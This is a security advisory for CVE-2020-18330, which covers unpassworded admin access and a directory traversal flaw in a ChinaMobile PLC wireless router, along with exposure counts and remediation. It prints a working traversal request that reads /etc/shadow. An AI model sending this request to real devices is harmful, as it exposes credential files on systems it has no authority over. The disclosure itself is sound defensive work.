CVE-2020-18330: Insecure permissions and multiple vulnerabilities in ChinaMobile PLC wireless routers leaves more than 4,300 devices vulnerable to remote attacks

Blank passwords and default factory settings

ChinaMobile PLC Wireless Router model GPN2.4P21-C-CN running the firmware version W2000EN-01(hardware platform Gpn2.4P21-C_WIFI-V0.05) is shipped and deployed without an administrative password on port 8080 and the web configuration interface is accessible using the following syntax: http://<target ip>:8080. From the configuration page an attacker can change the router configuration or he can try to obtain access to the internal network.

Directory traversal vulnerability

A different directory traversal vulnerability than the one identified by Rahul Raz (https://www.exploit-db.com/exploits/40304) was identified by using:

GET /cgi-bin/webproc?getpage=…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2f…%2fetc%2fshadow&errorpage=html/main.html&var:language=zh_cn&var:menu=setup&var:page=connected&var:retag=1&var:subpage=-

to retrieve the etc/shadow file where two user accounts were identified with the corresponding hashed passwords:

root:<hash_deleted>:13796:0:99999:7:::

#tw:<hash_deleted>:13796:0:99999:7:::

Attack surface

Over 4,320 vulnerable PLC Wireless routers were identified using Shodan. Most of the devices are located in South America (Argentina, Brazil, Honduras, Colombia) followed by Asia (Indonesia, India, Thailand).

Remediation

Adding a password to the admin user accounts should reduce the risk of being exploited. The risk of a successful directory traversal still exist and given the fact that the user can’t change the tw account password other risk mitigation strategies should be employed.